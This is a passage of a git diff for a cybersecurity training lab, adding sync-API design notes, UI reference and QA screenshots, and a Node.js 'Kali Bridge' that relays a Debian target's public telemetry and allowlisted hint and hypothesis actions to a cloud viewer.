+### Upload snapshot
+
+`POST /api/lab/bridge/snapshot`
+
+- Auth: session ID plus per-session upload token.
+- Body: public projection and optional acknowledged UI action IDs.
+- Rule: lower revisions are rejected; equal revisions are heartbeat-only.
+
+### Read and stream
+
+- `GET /api/lab/session/state`: current paired projection.
+- `GET /api/lab/session/events`: SSE snapshots and heartbeats. Clients reconnect
+  and reload state after the bounded stream closes.
+
+### Guide actions
+
+- Browser actions are restricted to hypothesis selection and hint unlock.
+- `GET /api/lab/bridge/actions` returns the pending allowlisted actions.
+- The Bridge applies each action to Debian telemetry and acknowledges it with
+  the resulting snapshot.
+- Manual flag submission is local-only because flag text must not cross the
+  public cloud.
+
+## Rejected alternatives
+
+1. Public browser to Debian private IP: browser local-network permission,
+   CORS, mixed-content behavior, and target exposure make it unreliable.
+2. Public tunnel into Debian or Kali: it breaks the isolation boundary and
+   creates a remote attack surface.
+3. Function-memory-only rooms: reconnects can reach another instance and lose
+   session state.
+4. Full terminal capture: it gathers secrets and turns the teaching aid into
+   surveillance.
+
+## Verification gates
+
+- Static browse works with every API unavailable.
+- Pairing does not reveal session state without a valid code and signed cookie.
+- A sanitized snapshot changes the visible facts, graph, objective, options,
+  and recent event list without page reload.
+- Replayed or lower revisions cannot roll the browser back.
+- Forbidden fields and locked hint bodies are rejected before persistence.
+- Bridge loss preserves the last confirmed state and shows reconnecting.
+- Desktop and 360x800 pass in PLAY, OPS, and FOCUS with reduced motion.
+- The public ExamServer path must pass
+  `create 200 → pair 200 → replay 404 → waiting state 200 → snapshot 204 →
+  live state 200 → SSE 200` at
+  <https://exam-server-one.vercel.app/lab>.
+- Physical Kali-to-Debian operation, the dual-boot target, and real Ethernet
+  isolation remain separate evidence gates.
diff --git a/docs/design/README.md b/docs/design/README.md
new file mode 100644
index 0000000..bb2610b
--- /dev/null
+++ b/docs/design/README.md
@@ -0,0 +1,12 @@
+# Accepted interface references
+
+The user accepted both references on 2026-07-27 as one coordinated implementation target.
+
+| File | Native pixels | Role |
+| --- | ---: | --- |
+| `exploration-map.png` | 1672 × 941 | Primary map mode, desktop composition and density |
+| `situation-consultation.png` | 1672 × 941 | Hypothesis and progressive-hint mode |
+
+The references own region proportions, hierarchy, palette, typography character, control anatomy, and interaction emphasis. Product copy and the 14-flag contract own corrected counts and labels when generated-image text differs.
+
+Responsive acceptance is additionally required at 1366 × 768, 1280 × 720, and 360px width. Do not crop these images into production UI.
diff --git a/docs/design/exploration-map.png b/docs/design/exploration-map.png
new file mode 100644
index 0000000..1ca45b3
Binary files /dev/null and b/docs/design/exploration-map.png differ
diff --git a/docs/design/situation-consultation.png b/docs/design/situation-consultation.png
new file mode 100644
index 0000000..f0b064b
Binary files /dev/null and b/docs/design/situation-consultation.png differ
diff --git a/docs/design/themes/focus-field-notes.png b/docs/design/themes/focus-field-notes.png
new file mode 100644
index 0000000..b549d19
Binary files /dev/null and b/docs/design/themes/focus-field-notes.png differ
diff --git a/docs/design/themes/ops-night-circuit.png b/docs/design/themes/ops-night-circuit.png
new file mode 100644
index 0000000..e97b9cc
Binary files /dev/null and b/docs/design/themes/ops-night-circuit.png differ
diff --git a/docs/design/themes/play-mission-deck.png b/docs/design/themes/play-mission-deck.png
new file mode 100644
index 0000000..0042ac0
Binary files /dev/null and b/docs/design/themes/play-mission-deck.png differ
diff --git a/docs/qa/examserver-lab-360x800-bottom.png b/docs/qa/examserver-lab-360x800-bottom.png
new file mode 100644
index 0000000..aed3783
Binary files /dev/null and b/docs/qa/examserver-lab-360x800-bottom.png differ
diff --git a/docs/qa/examserver-lab-360x800.png b/docs/qa/examserver-lab-360x800.png
new file mode 100644
index 0000000..81ebee6
Binary files /dev/null and b/docs/qa/examserver-lab-360x800.png differ
diff --git a/docs/qa/examserver-lab-desktop.png b/docs/qa/examserver-lab-desktop.png
new file mode 100644
index 0000000..06ed43e
Binary files /dev/null and b/docs/qa/examserver-lab-desktop.png differ
diff --git a/docs/qa/exploration-map-1672x941-final.png b/docs/qa/exploration-map-1672x941-final.png
new file mode 100644
index 0000000..29640e3
Binary files /dev/null and b/docs/qa/exploration-map-1672x941-final.png differ
diff --git a/docs/qa/exploration-map-1672x941-pass1.png b/docs/qa/exploration-map-1672x941-pass1.png
new file mode 100644
index 0000000..903d10b
Binary files /dev/null and b/docs/qa/exploration-map-1672x941-pass1.png differ
diff --git a/docs/qa/exploration-map-1672x941-pass2.png b/docs/qa/exploration-map-1672x941-pass2.png
new file mode 100644
index 0000000..f362d52
Binary files /dev/null and b/docs/qa/exploration-map-1672x941-pass2.png differ
diff --git a/docs/qa/exploration-map-1672x941-pass3.png b/docs/qa/exploration-map-1672x941-pass3.png
new file mode 100644
index 0000000..a6c45ec
Binary files /dev/null and b/docs/qa/exploration-map-1672x941-pass3.png differ
diff --git a/docs/qa/exploration-map-comparison-final.png b/docs/qa/exploration-map-comparison-final.png
new file mode 100644
index 0000000..5d53718
Binary files /dev/null and b/docs/qa/exploration-map-comparison-final.png differ
diff --git a/docs/qa/exploration-map-comparison-pass1.png b/docs/qa/exploration-map-comparison-pass1.png
new file mode 100644
index 0000000..890ec05
Binary files /dev/null and b/docs/qa/exploration-map-comparison-pass1.png differ
diff --git a/docs/qa/live-1280x720.png b/docs/qa/live-1280x720.png
new file mode 100644
index 0000000..63a4d8f
Binary files /dev/null and b/docs/qa/live-1280x720.png differ
diff --git a/docs/qa/live-1366x768.png b/docs/qa/live-1366x768.png
new file mode 100644
index 0000000..ea9d55b
Binary files /dev/null and b/docs/qa/live-1366x768.png differ
diff --git a/docs/qa/live-360x800-map.png b/docs/qa/live-360x800-map.png
new file mode 100644
index 0000000..91e8d2a
Binary files /dev/null and b/docs/qa/live-360x800-map.png differ
diff --git a/docs/qa/live-360x800-viewport.png b/docs/qa/live-360x800-viewport.png
new file mode 100644
index 0000000..5ca94fb
Binary files /dev/null and b/docs/qa/live-360x800-viewport.png differ
diff --git a/docs/qa/live/disclosure-consultation-focus-1366x768.png b/docs/qa/live/disclosure-consultation-focus-1366x768.png
new file mode 100644
index 0000000..30c80ae
Binary files /dev/null and b/docs/qa/live/disclosure-consultation-focus-1366x768.png differ
diff --git a/docs/qa/live/disclosure-consultation-play-360x800.png b/docs/qa/live/disclosure-consultation-play-360x800.png
new file mode 100644
index 0000000..3eb6bf3
Binary files /dev/null and b/docs/qa/live/disclosure-consultation-play-360x800.png differ
diff --git a/docs/qa/live/disclosure-facts-drawer-play-1366x768.png b/docs/qa/live/disclosure-facts-drawer-play-1366x768.png
new file mode 100644
index 0000000..fecdc9b
Binary files /dev/null and b/docs/qa/live/disclosure-facts-drawer-play-1366x768.png differ
diff --git a/docs/qa/live/disclosure-firefox-facts-1280x720.png b/docs/qa/live/disclosure-firefox-facts-1280x720.png
new file mode 100644
index 0000000..095cb86
Binary files /dev/null and b/docs/qa/live/disclosure-firefox-facts-1280x720.png differ
diff --git a/docs/qa/live/disclosure-firefox-pairing-360x800.png b/docs/qa/live/disclosure-firefox-pairing-360x800.png
new file mode 100644
index 0000000..2863a62
Binary files /dev/null and b/docs/qa/live/disclosure-firefox-pairing-360x800.png differ
diff --git a/docs/qa/live/disclosure-hints-sheet-play-360x800.png b/docs/qa/live/disclosure-hints-sheet-play-360x800.png
new file mode 100644
index 0000000..94294e6
Binary files /dev/null and b/docs/qa/live/disclosure-hints-sheet-play-360x800.png differ
diff --git a/docs/qa/live/disclosure-live-transition-after-1366x768.png b/docs/qa/live/disclosure-live-transition-after-1366x768.png
new file mode 100644
index 0000000..7dbf690
Binary files /dev/null and b/docs/qa/live/disclosure-live-transition-after-1366x768.png differ
diff --git a/docs/qa/live/disclosure-pairing-sheet-play-360x800.png b/docs/qa/live/disclosure-pairing-sheet-play-360x800.png
new file mode 100644
index 0000000..1c27c25
Binary files /dev/null and b/docs/qa/live/disclosure-pairing-sheet-play-360x800.png differ
diff --git a/docs/qa/live/disclosure-pairing-to-live-1366x768.png b/docs/qa/live/disclosure-pairing-to-live-1366x768.png
new file mode 100644
index 0000000..39bff6f
Binary files /dev/null and b/docs/qa/live/disclosure-pairing-to-live-1366x768.png differ
diff --git a/docs/qa/live/disclosure-public-focus-1366x768.png b/docs/qa/live/disclosure-public-focus-1366x768.png
new file mode 100644
index 0000000..5f4bff1
Binary files /dev/null and b/docs/qa/live/disclosure-public-focus-1366x768.png differ
diff --git a/docs/qa/live/disclosure-public-ops-1366x768.png b/docs/qa/live/disclosure-public-ops-1366x768.png
new file mode 100644
index 0000000..80ac84a
Binary files /dev/null and b/docs/qa/live/disclosure-public-ops-1366x768.png differ
diff --git a/docs/qa/live/disclosure-public-play-1366x768.png b/docs/qa/live/disclosure-public-play-1366x768.png
new file mode 100644
index 0000000..a6701f6
Binary files /dev/null and b/docs/qa/live/disclosure-public-play-1366x768.png differ
diff --git a/docs/qa/live/disclosure-public-play-360x800.png b/docs/qa/live/disclosure-public-play-360x800.png
new file mode 100644
index 0000000..c77363c
Binary files /dev/null and b/docs/qa/live/disclosure-public-play-360x800.png differ
diff --git a/docs/qa/live/live-transition-after-1366x768.png b/docs/qa/live/live-transition-after-1366x768.png
new file mode 100644
index 0000000..ae6c808
Binary files /dev/null and b/docs/qa/live/live-transition-after-1366x768.png differ
diff --git a/docs/qa/live/live-transition-before-1366x768.png b/docs/qa/live/live-transition-before-1366x768.png
new file mode 100644
index 0000000..f2792f0
Binary files /dev/null and b/docs/qa/live/live-transition-before-1366x768.png differ
diff --git a/docs/qa/live/pairing-to-live-1366x768.png b/docs/qa/live/pairing-to-live-1366x768.png
new file mode 100644
index 0000000..8ae2ea7
Binary files /dev/null and b/docs/qa/live/pairing-to-live-1366x768.png differ
diff --git a/docs/qa/live/public-focus-360x800.png b/docs/qa/live/public-focus-360x800.png
new file mode 100644
index 0000000..e2ec29d
Binary files /dev/null and b/docs/qa/live/public-focus-360x800.png differ
diff --git a/docs/qa/live/public-ops-360x800.png b/docs/qa/live/public-ops-360x800.png
new file mode 100644
index 0000000..189f139
Binary files /dev/null and b/docs/qa/live/public-ops-360x800.png differ
diff --git a/docs/qa/live/public-play-1366x768.png b/docs/qa/live/public-play-1366x768.png
new file mode 100644
index 0000000..d628f96
Binary files /dev/null and b/docs/qa/live/public-play-1366x768.png differ
diff --git a/docs/qa/live/public-play-360x800.png b/docs/qa/live/public-play-360x800.png
new file mode 100644
index 0000000..bb48c2f
Binary files /dev/null and b/docs/qa/live/public-play-360x800.png differ
diff --git a/docs/qa/situation-consultation-1672x941-final.png b/docs/qa/situation-consultation-1672x941-final.png
new file mode 100644
index 0000000..9748d93
Binary files /dev/null and b/docs/qa/situation-consultation-1672x941-final.png differ
diff --git a/docs/qa/situation-consultation-1672x941-pass1.png b/docs/qa/situation-consultation-1672x941-pass1.png
new file mode 100644
index 0000000..9748d93
Binary files /dev/null and b/docs/qa/situation-consultation-1672x941-pass1.png differ
diff --git a/docs/qa/situation-consultation-comparison-final.png b/docs/qa/situation-consultation-comparison-final.png
new file mode 100644
index 0000000..9e177c8
Binary files /dev/null and b/docs/qa/situation-consultation-comparison-final.png differ
diff --git a/docs/qa/situation-consultation-comparison-pass1.png b/docs/qa/situation-consultation-comparison-pass1.png
new file mode 100644
index 0000000..9e177c8
Binary files /dev/null and b/docs/qa/situation-consultation-comparison-pass1.png differ
diff --git a/docs/qa/success-1672x941.png b/docs/qa/success-1672x941.png
new file mode 100644
index 0000000..d78f3dd
Binary files /dev/null and b/docs/qa/success-1672x941.png differ
diff --git a/docs/qa/themes/empty-play-1440x1024.png b/docs/qa/themes/empty-play-1440x1024.png
new file mode 100644
index 0000000..d80d21e
Binary files /dev/null and b/docs/qa/themes/empty-play-1440x1024.png differ
diff --git a/docs/qa/themes/focus-1440x1024-match.png b/docs/qa/themes/focus-1440x1024-match.png
new file mode 100644
index 0000000..4c835ab
Binary files /dev/null and b/docs/qa/themes/focus-1440x1024-match.png differ
diff --git a/docs/qa/themes/focus-1672x941.png b/docs/qa/themes/focus-1672x941.png
new file mode 100644
index 0000000..ca3cd3a
Binary files /dev/null and b/docs/qa/themes/focus-1672x941.png differ
diff --git a/docs/qa/themes/focus-comparison.png b/docs/qa/themes/focus-comparison.png
new file mode 100644
index 0000000..35dc124
Binary files /dev/null and b/docs/qa/themes/focus-comparison.png differ
diff --git a/docs/qa/themes/focus-consultation-1672x941.png b/docs/qa/themes/focus-consultation-1672x941.png
new file mode 100644
index 0000000..8108bca
Binary files /dev/null and b/docs/qa/themes/focus-consultation-1672x941.png differ
diff --git a/docs/qa/themes/focus-consultation-360x800-top.png b/docs/qa/themes/focus-consultation-360x800-top.png
new file mode 100644
index 0000000..ebda881
Binary files /dev/null and b/docs/qa/themes/focus-consultation-360x800-top.png differ
diff --git a/docs/qa/themes/focus-map-360x800-map.png b/docs/qa/themes/focus-map-360x800-map.png
new file mode 100644
index 0000000..4a06203
Binary files /dev/null and b/docs/qa/themes/focus-map-360x800-map.png differ
diff --git a/docs/qa/themes/focus-map-360x800-top.png b/docs/qa/themes/focus-map-360x800-top.png
new file mode 100644
index 0000000..ea22e4d
Binary files /dev/null and b/docs/qa/themes/focus-map-360x800-top.png differ
diff --git a/docs/qa/themes/ops-1440x1024-match.png b/docs/qa/themes/ops-1440x1024-match.png
new file mode 100644
index 0000000..9c157a6
Binary files /dev/null and b/docs/qa/themes/ops-1440x1024-match.png differ
diff --git a/docs/qa/themes/ops-1672x941.png b/docs/qa/themes/ops-1672x941.png
new file mode 100644
index 0000000..1dd6299
Binary files /dev/null and b/docs/qa/themes/ops-1672x941.png differ
diff --git a/docs/qa/themes/ops-comparison.png b/docs/qa/themes/ops-comparison.png
new file mode 100644
index 0000000..05564ed
Binary files /dev/null and b/docs/qa/themes/ops-comparison.png differ
diff --git a/docs/qa/themes/ops-consultation-1672x941.png b/docs/qa/themes/ops-consultation-1672x941.png
new file mode 100644
index 0000000..26ef0f9
Binary files /dev/null and b/docs/qa/themes/ops-consultation-1672x941.png differ
diff --git a/docs/qa/themes/ops-consultation-360x800-top.png b/docs/qa/themes/ops-consultation-360x800-top.png
new file mode 100644
index 0000000..1d76ab3
Binary files /dev/null and b/docs/qa/themes/ops-consultation-360x800-top.png differ
diff --git a/docs/qa/themes/ops-map-360x800-map.png b/docs/qa/themes/ops-map-360x800-map.png
new file mode 100644
index 0000000..b73fa0c
Binary files /dev/null and b/docs/qa/themes/ops-map-360x800-map.png differ
diff --git a/docs/qa/themes/ops-map-360x800-top.png b/docs/qa/themes/ops-map-360x800-top.png
new file mode 100644
index 0000000..b8ce68d
Binary files /dev/null and b/docs/qa/themes/ops-map-360x800-top.png differ
diff --git a/docs/qa/themes/play-1280x720.png b/docs/qa/themes/play-1280x720.png
new file mode 100644
index 0000000..3d43f97
Binary files /dev/null and b/docs/qa/themes/play-1280x720.png differ
diff --git a/docs/qa/themes/play-1440x1024-match.png b/docs/qa/themes/play-1440x1024-match.png
new file mode 100644
index 0000000..68224c0
Binary files /dev/null and b/docs/qa/themes/play-1440x1024-match.png differ
diff --git a/docs/qa/themes/play-1672x941.png b/docs/qa/themes/play-1672x941.png
new file mode 100644
index 0000000..d3787cd
Binary files /dev/null and b/docs/qa/themes/play-1672x941.png differ
diff --git a/docs/qa/themes/play-comparison.png b/docs/qa/themes/play-comparison.png
new file mode 100644
index 0000000..909ff8a
Binary files /dev/null and b/docs/qa/themes/play-comparison.png differ
diff --git a/docs/qa/themes/play-consultation-1280x720.png b/docs/qa/themes/play-consultation-1280x720.png
new file mode 100644
index 0000000..20098d3
Binary files /dev/null and b/docs/qa/themes/play-consultation-1280x720.png differ
diff --git a/docs/qa/themes/play-consultation-1672x941.png b/docs/qa/themes/play-consultation-1672x941.png
new file mode 100644
index 0000000..856cd67
Binary files /dev/null and b/docs/qa/themes/play-consultation-1672x941.png differ
diff --git a/docs/qa/themes/play-consultation-360x800-top.png b/docs/qa/themes/play-consultation-360x800-top.png
new file mode 100644
index 0000000..0a9381b
Binary files /dev/null and b/docs/qa/themes/play-consultation-360x800-top.png differ
diff --git a/docs/qa/themes/play-map-360x800-map.png b/docs/qa/themes/play-map-360x800-map.png
new file mode 100644
index 0000000..78b3679
Binary files /dev/null and b/docs/qa/themes/play-map-360x800-map.png differ
diff --git a/docs/qa/themes/play-map-360x800-top.png b/docs/qa/themes/play-map-360x800-top.png
new file mode 100644
index 0000000..1969f31
Binary files /dev/null and b/docs/qa/themes/play-map-360x800-top.png differ
diff --git a/docs/qa/themes/reconnecting-play-1440x1024.png b/docs/qa/themes/reconnecting-play-1440x1024.png
new file mode 100644
index 0000000..56a129e
Binary files /dev/null and b/docs/qa/themes/reconnecting-play-1440x1024.png differ
diff --git a/docs/qa/themes/success-play-1440x1024.png b/docs/qa/themes/success-play-1440x1024.png
new file mode 100644
index 0000000..49f7dc9
Binary files /dev/null and b/docs/qa/themes/success-play-1440x1024.png differ
diff --git a/docs/qa/themes/unavailable-play-1440x1024.png b/docs/qa/themes/unavailable-play-1440x1024.png
new file mode 100644
index 0000000..964fd83
Binary files /dev/null and b/docs/qa/themes/unavailable-play-1440x1024.png differ
diff --git a/labs/open-world-target/bridge/README.md b/labs/open-world-target/bridge/README.md
new file mode 100644
index 0000000..77c2eeb
--- /dev/null
+++ b/labs/open-world-target/bridge/README.md
@@ -0,0 +1,61 @@
+# Kali Bridge
+
+Kali から直結した Debian 標的の公開状態を読み取り、examserver 側へ中継する
+Node.js 20+ のプロセスです。標的へシェルや任意コマンドを送る機能はありません。
+
+## 設定
+
+必須:
+
+- `BRIDGE_CLOUD_ORIGIN`: examserver Bridge API の origin。通常は HTTPS。
+- `BRIDGE_DEPLOYMENT_TOKEN`: セッション作成専用の deployment secret。
+- `BRIDGE_TARGET_TOKEN`: Debian telemetry が
+  `TELEMETRY_BRIDGE_TOKEN` で検証する標的専用 secret。
+
+任意:
+
+- `BRIDGE_TARGET_ORIGIN`: Debian telemetry API の origin。既定値は
+  `http://10.13.37.10:8787`。誤設定でtokenを外部hostへ送らないよう、
+  hostは`10.13.37.10`またはloopbackだけを受け付けます。
+- `BRIDGE_ACTION_POLL_MS`: cloud action のポーリング間隔。既定値は 1000 ms。
+- `BRIDGE_HEARTBEAT_MS`: snapshot heartbeat 間隔。既定値は 10000 ms。
+- `BRIDGE_REQUEST_TIMEOUT_MS`: JSON API のタイムアウト。既定値は 5000 ms。
+- `BRIDGE_SSE_IDLE_TIMEOUT_MS`: SSE 無通信タイムアウト。既定値は 25000 ms。
+- `BRIDGE_RECONNECT_BASE_MS`: 再接続 backoff の初期値。既定値は 500 ms。
+- `BRIDGE_RECONNECT_MAX_MS`: 再接続 backoff の上限。既定値は 30000 ms。
+
+cloud origin は loopback 開発時を除いて HTTPS が必須です。token はどちらも
+32–512文字の可視・非空白文字列として環境変数だけから読み取り、標準出力へは
+出しません。
+
+## 起動
+
+```sh
+npm start
+```
+
+セッション作成後、標準出力には pairing code と viewer URL の2行だけが表示されます。
+停止は `SIGINT` または `SIGTERM` で行います。
+
+## 境界
+
+- 標的への state、SSE、hypothesis、hint の全リクエストで
+  `Authorization: Bearer <BRIDGE_TARGET_TOKEN>` を送信。
+- 標的から取得するのは `/api/session/state` と `/api/session/events` の公開 projection。
+- cloud へ送るのは検証済みの full projection、action acknowledgement、heartbeat。
+- cloud から受け付ける操作は `selectHypothesis` と `unlockHint` のみ。
+- 操作先は ID を検証して組み立てる固定 API path のみ。
+- Bridge は標的にローカル flag API が存在しても呼び出しません。flag 送信、任意
+  path、資格情報の中継、コマンド実行は扱いません。
+- revision の巻き戻りと、同一 revision で内容が変わる snapshot は拒否します。
+- target SSE、cloud snapshot、action pollの一時障害は上限付き指数backoffで再試行します。
+
+## 検証
+
+```sh
+npm test
+```
+
+このテストは設定、projection 境界、revision 競合、SSE 再接続判断、固定 action
+path、secret-safe error、および中継 orchestration をローカルで検証します。実際の
+Debian 標的および cloud deployment への接続確認は別の統合ゲートです。
diff --git a/labs/open-world-target/bridge/bin/kali-bridge.mjs b/labs/open-world-target/bridge/bin/kali-bridge.mjs
new file mode 100644
index 0000000..659164d
--- /dev/null
+++ b/labs/open-world-target/bridge/bin/kali-bridge.mjs
@@ -0,0 +1,45 @@
+#!/usr/bin/env node
+
+import { KaliBridge } from "../src/bridge.mjs";
+import { loadConfig } from "../src/config.mjs";
+import { writeSafeError } from "../src/errors.mjs";
+import { CloudClient, TargetClient } from "../src/http.mjs";
+
+let config;
+let cloud;
+let bridge;
+
+try {
+  config = loadConfig();
+  const target = new TargetClient({
+    origin: config.targetOrigin,
+    targetToken: config.targetToken,
+    requestTimeoutMs: config.requestTimeoutMs,
+  });
+  cloud = new CloudClient({
+    origin: config.cloudOrigin,
+    deploymentToken: config.deploymentToken,
+    requestTimeoutMs: config.requestTimeoutMs,
+  });
+  bridge = new KaliBridge({
+    config,
+    targetClient: target,
+    cloudClient: cloud,
+  });
+
+  for (const signal of ["SIGINT", "SIGTERM"]) {
+    process.once(signal, () => bridge.stop());
+  }
+
+  await bridge.run();
+} catch (error) {
+  if (!bridge?.signal.aborted) {
+    writeSafeError(process.stderr.write.bind(process.stderr), "fatal", error, {
+      secrets: [
+        config?.targetToken,
+        ...(cloud?.secrets ?? [config?.deploymentToken]),
+      ],
+    });
+    process.exitCode = 1;
+  }
+}
diff --git a/labs/open-world-target/bridge/package.json b/labs/open-world-target/bridge/package.json
new file mode 100644
index 0000000..ecdfa64
--- /dev/null
+++ b/labs/open-world-target/bridge/package.json
@@ -0,0 +1,13 @@
+{
+  "name": "@examserver/open-world-kali-bridge",
+  "version": "1.0.0",
+  "private": true,
+  "type": "module",
+  "engines": {
+    "node": ">=20"
+  },
+  "scripts": {
+    "start": "node bin/kali-bridge.mjs",
+    "test": "node --test tests/*.test.mjs"
+  }
+}
diff --git a/labs/open-world-target/bridge/src/actions.mjs b/labs/open-world-target/bridge/src/actions.mjs
new file mode 100644
index 0000000..32b589f
--- /dev/null
+++ b/labs/open-world-target/bridge/src/actions.mjs
@@ -0,0 +1,77 @@
+import { BridgeError } from "./errors.mjs";
+
+const SAFE_ID = /^[A-Za-z0-9][A-Za-z0-9_.:-]{0,127}$/;
+const ACTION_TYPES = new Set(["selectHypothesis", "unlockHint"]);
+
+function exactKeys(value, expected, label) {
+  if (
+    value === null ||
+    typeof value !== "object" ||
+    Array.isArray(value)
+  ) {
+    throw new BridgeError("invalid_action", `${label} must be an object`);
+  }
+  const keys = Object.keys(value).sort();
+  const wanted = [...expected].sort();
+  if (
+    keys.length !== wanted.length ||
+    keys.some((key, index) => key !== wanted[index])
+  ) {
+    throw new BridgeError(
+      "invalid_action",
+      `${label} contains unsupported fields`,
+    );
+  }
+}
+
+export function validateAction(value) {
+  exactKeys(
+    value,
+    ["id", "type", "targetId", "createdAt"],
+    "cloud action",
+  );
+  if (typeof value.id !== "string" || !SAFE_ID.test(value.id)) {
+    throw new BridgeError("invalid_action", "cloud action id is invalid");
+  }
+  if (!ACTION_TYPES.has(value.type)) {
+    throw new BridgeError("invalid_action", "cloud action type is not allowed");
+  }
+  if (typeof value.targetId !== "string" || !SAFE_ID.test(value.targetId)) {
+    throw new BridgeError(
+      "invalid_action",
+      "cloud action targetId is invalid",
+    );
+  }
+  if (
+    typeof value.createdAt !== "string" ||
+    !/^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}(?:\.\d{3})?Z$/.test(
+      value.createdAt,
+    ) ||
+    Number.isNaN(Date.parse(value.createdAt))
+  ) {
+    throw new BridgeError(
+      "invalid_action",
+      "cloud action createdAt is invalid",
+    );
+  }
+  return Object.freeze({
+    id: value.id,
+    type: value.type,
+    targetId: value.targetId,
+    createdAt: value.createdAt,
+  });
+}
+
+export function targetPathForAction(action) {
+  const validated = validateAction(action);
+  const encoded = encodeURIComponent(validated.targetId);
+  if (validated.type === "selectHypothesis") {
+    return `/api/session/hypotheses/${encoded}/select`;
+  }
+  if (validated.type === "unlockHint") {
+    return `/api/session/hints/${encoded}/unlock`;
+  }
+  throw new BridgeError("invalid_action", "cloud action type is not allowed");
+}
+
+export { ACTION_TYPES };
diff --git a/labs/open-world-target/bridge/src/bridge.mjs b/labs/open-world-target/bridge/src/bridge.mjs
new file mode 100644
index 0000000..ede82a1
--- /dev/null
+++ b/labs/open-world-target/bridge/src/bridge.mjs
@@ -0,0 +1,242 @@
+import { targetPathForAction } from "./actions.mjs";
+import { BridgeError, writeSafeError } from "./errors.mjs";
+import {
+  ProjectionBoundaryError,
+} from "./projection.mjs";
+import {
+  ProjectionConflictError,
+  ProjectionRollbackError,
+  ProjectionTracker,
+} from "./projection-state.mjs";
+import {
+  parseProjectionFrame,
+  parseSseStream,
+  reconnectDelay,
+  waitFor,
+} from "./sse.mjs";
+
+function isAbort(error, signal) {
+  return (
+    signal.aborted ||
+    error?.name === "AbortError" ||
+    error?.code === "ABORT_ERR"
+  );
+}
+
+export function shouldReconnect(error) {
+  if (error instanceof ProjectionConflictError) return false;
+  if (error instanceof ProjectionBoundaryError) return false;
+  if (error instanceof ProjectionRollbackError) return true;
+  return error instanceof BridgeError && error.retryable === true;
+}
+
+export class KaliBridge {
+  #controller = new AbortController();
+  #tracker = new ProjectionTracker();
+  #uploadTail = Promise.resolve();
+  #running = false;
+
+  constructor({
+    config,
+    targetClient,
+    cloudClient,
+    output = (value) => process.stdout.write(value),
+    errorOutput = (value) => process.stderr.write(value),
+    random = Math.random,
+  }) {
+    this.config = config;
+    this.target = targetClient;
+    this.cloud = cloudClient;
+    this.output = output;
+    this.errorOutput = errorOutput;
+    this.random = random;
+  }
+
+  get signal() {
+    return this.#controller.signal;
+  }
+
+  get projection() {
+    return this.#tracker.current;
+  }
+
+  stop(reason = new DOMException("Bridge stopped", "AbortError")) {
+    if (!this.#controller.signal.aborted) this.#controller.abort(reason);
+  }
+
+  #logError(code, error) {
+    writeSafeError(this.errorOutput, code, error, {
+      secrets: [
+        ...(this.target.secrets ?? []),
+        ...(this.cloud.secrets ?? []),
+      ],
+    });
+  }
+
+  async #withRetry(operation, code) {
+    let attempt = 0;
+    while (!this.signal.aborted) {
+      try {
+        return await operation();
+      } catch (error) {
+        if (isAbort(error, this.signal)) throw error;
+        if (!shouldReconnect(error)) throw error;
+        this.#logError(code, error);
+        await waitFor(
+          reconnectDelay(attempt, {
+            baseMs: this.config.reconnectBaseMs,
+            maxMs: this.config.reconnectMaxMs,
+            random: this.random,
+          }),
+          this.signal,
+        );
+        attempt += 1;
+      }
+    }
+    throw this.signal.reason;
+  }
+
+  #queueUpload(projection, ackActionIds = []) {
+    const job = this.#uploadTail.then(() =>
+      this.#withRetry(
+        () =>
+          this.cloud.uploadSnapshot(projection, {
+            ackActionIds,
+            signal: this.signal,
+          }),
+        "cloud_snapshot_retry",
+      ),
+    );
+    this.#uploadTail = job.catch(() => undefined);
+    return job;
+  }
+
+  async #loadInitialProjection() {
+    const raw = await this.#withRetry(
+      () => this.target.getState({ signal: this.signal }),
+      "target_state_retry",
+    );
+    return this.#tracker.accept(raw).projection;
+  }
+
+  async #runSse() {
+    let attempt = 0;
+    while (!this.signal.aborted) {
+      try {
+        const current = this.#tracker.current;
+        const response = await this.target.openEvents({
+          lastEventId: current?.revision,
+          signal: this.signal,
+        });
+        for await (const frame of parseSseStream(response.body, {
+          idleTimeoutMs: this.config.sseIdleTimeoutMs,
+          signal: this.signal,
+        })) {
+          const raw = parseProjectionFrame(frame);
+          if (raw === null) continue;
+          const result = this.#tracker.accept(raw);
+          if (result.changed) await this.#queueUpload(result.projection);
+          attempt = 0;
+        }
+        if (this.signal.aborted) return;
+        throw new BridgeError(
+          "target_sse_closed",
+          "target SSE closed before bridge shutdown",
+          { retryable: true },
+        );
+      } catch (error) {
+        if (isAbort(error, this.signal)) return;
+        if (!shouldReconnect(error)) throw error;
+        this.#logError("target_sse_retry", error);
+        await waitFor(
+          reconnectDelay(attempt, {
+            baseMs: this.config.reconnectBaseMs,
+            maxMs: this.config.reconnectMaxMs,
+            random: this.random,
+          }),
+          this.signal,
+        );
+        attempt += 1;
+      }
+    }
+  }
+
+  async #runHeartbeats() {
+    while (!this.signal.aborted) {
+      await waitFor(this.config.heartbeatMs, this.signal);
+      const current = this.#tracker.current;
+      if (current) await this.#queueUpload(current);
+    }
+  }
+
+  async #runActions() {
+    let pollAfterMs = this.config.actionPollMs;
+    let retryAttempt = 0;
+    while (!this.signal.aborted) {
+      try {
+        const result = await this.cloud.pollActions({ signal: this.signal });
+        pollAfterMs = result.pollAfterMs;
+        for (const action of result.actions) {
+          const raw = await this.target.applyAction(
+            targetPathForAction(action),
+            { signal: this.signal },
+          );
+          const projection = this.#tracker.accept(raw).projection;
+          if (!projection) {
+            throw new BridgeError(
+              "projection_missing",
+              "action completed without a current projection",
+            );
+          }
+          await this.#queueUpload(projection, [action.id]);
+        }
+        retryAttempt = 0;
+      } catch (error) {
+        if (isAbort(error, this.signal)) return;
+        if (!shouldReconnect(error)) throw error;
+        this.#logError("cloud_actions_retry", error);
+        pollAfterMs = reconnectDelay(retryAttempt, {
+          baseMs: this.config.reconnectBaseMs,
+          maxMs: this.config.reconnectMaxMs,
+          random: this.random,
+        });
+        retryAttempt += 1;
+      }
+      await waitFor(pollAfterMs, this.signal);
+    }
+  }
+
+  async run() {
+    if (this.#running) {
+      throw new BridgeError("bridge_running", "bridge is already running");
+    }
+    this.#running = true;
+    const tasks = [];
+    try {
+      const initial = await this.#loadInitialProjection();
+      const session = await this.cloud.createSession(initial.sessionId, {
+        signal: this.signal,
+      });
+      this.output(
+        `Pairing code: ${session.pairingCode}\nViewer URL: ${session.viewerUrl}\n`,
+      );
+      await this.#queueUpload(initial);
+
+      tasks.push(
+        this.#runSse(),
+        this.#runHeartbeats(),
+        this.#runActions(),
+      );
+      try {
